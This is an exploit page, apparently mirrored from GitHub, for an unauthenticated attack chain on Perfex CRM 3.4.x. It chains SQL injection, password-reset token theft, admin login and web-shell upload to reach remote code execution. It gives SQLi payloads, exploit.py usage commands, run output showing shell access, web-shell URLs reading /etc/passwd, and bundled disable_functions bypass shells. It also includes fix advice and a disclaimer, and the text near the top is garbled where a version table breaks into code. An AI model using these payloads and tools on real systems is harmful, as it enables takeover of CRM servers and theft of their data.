Sploitus

Exploit for Perfex-CRM-3.4.x-Unauthenticated-RCE-via-Migration-SQLi-Arbitrary-File-Upload

githubexploit Β· 2026-08-18

Exploit Code

README337 lines
## https://sploitus.com/exploit?id=6405A12D-F1A0-51E3-8481-907ED420DD4D
# Perfex CRM  **Note:** The Migration controller requires `migration_enabled = true` in config. In default installations this is FALSE, but many production deployments leave it enabled after initial setup/migration, and it is often toggled during updates. The SQLi itself requires no authentication β€” the controller extends `App_Controller` with no auth middleware.

---

## Affected Software

| Field | Value |
|---|---|
| Software | Perfex CRM (by Developer Portal) |
| Affected Version | input->get('old_base_url');  // ← Attacker-controlled
    $new_url = $this->config->item('base_url');

    foreach ($tables as $t) {
        // Direct concatenation into raw SQL query!
        $this->db->query('UPDATE `' . $t['table'] . '` SET `' . $t['field']
            . '` = replace(' . $t['field'] . ', "' . $old_url . '", "' . $new_url . '")');
        //                                          ^^^^^^^^^^^
        //                             NO escaping, NO prepared statement!
    }
}
```

**Boolean-based blind exploitation:**
```
# TRUE condition (slow β€” processes all rows):
/migration/make?old_base_url=x", "y") WHERE (SELECT IF((1=1), 1, 0)) = 1 -- /

# FALSE condition (fast β€” skips all rows):
/migration/make?old_base_url=x", "y") WHERE (SELECT IF((1=0), 1, 0)) = 1 -- /
```

### Vulnerability 2: Arbitrary File Upload (No Extension Check)

```php
// application/helpers/upload_helper.php β€” handle_sales_attachments()

function handle_sales_attachments($rel_id, $rel_type)
{
    $path = get_upload_path_by_type($rel_type) . $rel_id . '/';

    $type = $_FILES['file']['type'];
    _maybe_create_upload_path($path);
    $filename = unique_filename($path, $_FILES['file']['name']);
    $newFilePath = $path . $filename;

    // VULNERABILITY: Direct move_uploaded_file() β€” NO extension check!
    if (move_uploaded_file($tmpFilePath, $newFilePath)) {
        // File saved as-is β€” .php, .phtml, .phar all accepted!
    }
}
```

### Vulnerability 3: No Authentication on Migration Controller

```php
// application/controllers/Migration.php
class Migration extends App_Controller  // ← NOT AdminController!
{
    public function make()
    {
        // Only checks config flag β€” NO login required!
        if ($this->config->item('migration_enabled') !== true) {
            die;
        }
    }
}
```

---

## Usage

### Basic usage

```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php
```

### With backup shell (fallback if primary fails)

```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php --backup cmd83.php
```

### Target different staff ID

```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php --backup cmd83.php --staff-id 2
```

### Custom remote filename

```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php -o assets.php
```

### Options

| Flag | Description |
|---|---|
| `target` | Target base URL (positional argument) |
| `--filebackdoor` | PHP shell to upload (required) |
| `--backup` | Backup shell if primary doesn't respond |
| `--staff-id` | Staff ID to target (default: 1) |
| `--timeout` | Boolean SQLi timeout in seconds (default: 8) |
| `-o, --output` | Remote filename (default: random `yuca_*.php`) |

---

## Interactive Exploit Flow

The script runs an interactive chain. You only need to manually change the password via browser β€” everything else is automated.

```
$ python3 exploit.py https://localhost.yucaerin --filebackdoor cmd7.php --backup cmd83.php

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚  Phase 1: SQL Injection                                     β”‚
  β”‚  β†’ Tests /migration/make for blind SQLi                     β”‚
  β”‚  [+] SQL Injection confirmed!                               β”‚
  β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
  β”‚  Phase 2: Extract Admin Email                               β”‚
  β”‚  β†’ Boolean-based blind extraction from tblstaff             β”‚
  β”‚  [+] Admin email: office@localhost.yucaerin                 β”‚
  β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
  β”‚  Phase 3: Password Reset                                    β”‚
  β”‚  β†’ Triggers forgot_password, then extracts token via SQLi   β”‚
  β”‚  [+] Reset token: fd7fbbf58f8137cac50ec40cec0699ee          β”‚
  β”‚                                                             β”‚
  β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
  β”‚  β”‚  Reset link found! Open this URL in your browser:     β”‚  β”‚
  β”‚  β”‚                                                       β”‚  β”‚
  β”‚  β”‚  https://localhost.yucaerin/admin/authentication/     β”‚  β”‚
  β”‚  β”‚    reset_password/1/1/fd7fbbf58f8137cac50ec40cec...   β”‚  β”‚
  β”‚  β”‚                                                       β”‚  β”‚
  β”‚  β”‚  Set a new password, then come back here.             β”‚  β”‚
  β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
  β”‚                                                             β”‚
  β”‚  [?] Enter the new password you just set: β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ          β”‚
  β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
  β”‚  Phase 4: Admin Login                                       β”‚
  β”‚  β†’ Logs in with extracted email + your new password         β”‚
  β”‚  [+] Login successful!                                      β”‚
  β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
  β”‚  Phase 5: Upload Backdoor                                   β”‚
  β”‚  β†’ Uploads via /admin/misc/upload_sales_file (no ext check) β”‚
  β”‚  [+] Uploaded β†’ https://localhost.yucaerin/uploads/newsfeed/β”‚
  β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
  β”‚  Phase 6: Verify RCE                                        β”‚
  β”‚  β†’ Tests shell with ?cmd=echo YUCA_OK                       β”‚
  β”‚  β†’ If primary fails, auto-uploads backup shell              β”‚
  β”‚  [+] Shell is alive! (parameter: ?cmd=)                     β”‚
  β”‚                                                             β”‚
  β”‚    $ id                                                     β”‚
  β”‚    uid=33(www-data) gid=33(www-data) groups=33(www-data)    β”‚
  β”‚                                                             β”‚
  β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
  β”‚  β”‚  Backdoor location:                                   β”‚  β”‚
  β”‚  β”‚  https://localhost.yucaerin/uploads/newsfeed/1/yuca_x8k2.php  β”‚  β”‚
  β”‚  β”‚                                                       β”‚  β”‚
  β”‚  β”‚  curl 'https://target.com/.../yuca_x8k2.php?cmd=id'  β”‚  β”‚
  β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## Shells Included

### cmd7.php β€” PHP 7.3 to 8.1

mm0r1 UAF `disable_functions` bypass. Works on all PHP 7.3-8.1 versions (*nix only).

```
https://target.com/uploads/newsfeed/1/shell.php?cmd=id
https://target.com/uploads/newsfeed/1/shell.php?cmd=cat /etc/passwd
```

**Parameter:** `?cmd=`

### cmd83.php β€” PHP 8.2 to 8.5

TimeAfterFree `disable_functions` bypass for newer PHP versions.

```
https://target.com/uploads/newsfeed/1/shell.php?cmd=id
https://target.com/uploads/newsfeed/1/shell.php?cmd=uname -a
```

**Parameter:** `?cmd=`

### Backup shell logic

If the primary shell (`--filebackdoor`) doesn't respond after upload (e.g. PHP version mismatch), the exploit automatically uploads the backup shell (`--backup`) and tests again:

```bash
# cmd7.php for PHP 7.x-8.1, cmd83.php as fallback for PHP 8.2+
python3 exploit.py https://target.com --filebackdoor cmd7.php --backup cmd83.php
```

---

## Exploit Flow Diagram

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    ATTACKER (No Auth)                        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β”‚
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚  1. SQLi: /migration/make β”‚ ← No authentication required
          β”‚     Extract admin email   β”‚    Boolean-based blind (timing)
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β”‚
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚  2. Trigger forgot_passwordβ”‚ ← Generates new_pass_key in DB
          β”‚     for extracted email   β”‚
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β”‚
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚  3. SQLi: Extract token   β”‚ ← 32 hex chars from tblstaff
          β”‚     new_pass_key value    β”‚    ~3 minutes extraction time
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β”‚
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚  4. Give reset link to operator        β”‚ ← Interactive step
          β”‚     Operator changes password manually β”‚
          β”‚     Script asks for the new password   β”‚
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β”‚
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚  5. Login as admin        β”‚ ← email + new password
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β”‚
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚  6. Upload shell.php      β”‚ ← POST /admin/misc/upload_sales_file
          β”‚     type=newsfeed         β”‚    NO extension check in handler!
          β”‚     β†’ uploads/newsfeed/1/ β”‚    File executes as PHP immediately
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β”‚
          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
          β”‚  7. Verify RCE                        β”‚ ← ?cmd=echo YUCA_OK
          β”‚     If fails β†’ upload backup shell    β”‚
          β”‚     curl shell.php?cmd=id             β”‚
          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## Fix Recommendations

### Fix 1: Disable Migration Controller (Immediate)

```php
// application/config/migration.php
$config['migration_enabled'] = false;  // MUST be false in production!
```

### Fix 2: Add Extension Validation to handle_sales_attachments()

```php
function handle_sales_attachments($rel_id, $rel_type)
{
    // ADD THIS CHECK:
    if (!_upload_extension_allowed($_FILES['file']['name'])) {
        header('HTTP/1.0 400 Bad Request');
        echo 'File extension not allowed';
        die;
    }
    // ... rest of function
}
```

### Fix 3: Add Authentication to Migration Controller

```php
class Migration extends AdminController  // ← Change from App_Controller
{
    public function __construct()
    {
        parent::__construct();
        if (!is_admin()) {
            show_404();
        }
    }
}
```

### Fix 4: Use Prepared Statements

```php
$this->db->query('UPDATE ... replace(field, ?, ?)', [$old_url, $new_url]);
```

### Fix 5: Add .htaccess to Upload Directories

```apache
# uploads/newsfeed/.htaccess

    Require all denied

```

---

## Files

| File | Description |
|---|---|
| `exploit.py` | Full automated exploit chain (Python 3, interactive) |
| `cmd7.php` | mm0r1 UAF disable_functions bypass β€” PHP 7.3-8.1, param: `?cmd=` |
| `cmd83.php` | TimeAfterFree disable_functions bypass β€” PHP 8.2-8.5, param: `?cmd=` |
| `README.md` | This file |

---

## Researcher

- Credit: [Yucaerin](https://yucaerin.github.io/)

---

## References

- [Perfex CRM Official](https://www.perfexcrm.com/)
- [Perfex CRM Product](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737)
- [CodeIgniter 3 Security](https://codeigniter.com/userguide3/libraries/security.html)
- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
- [CWE-434: Unrestricted Upload](https://cwe.mitre.org/data/definitions/434.html)
- [CWE-640: Weak Password Recovery](https://cwe.mitre.org/data/definitions/640.html)

---

## Disclaimer

This information is provided for **educational** and **authorized penetration testing** purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.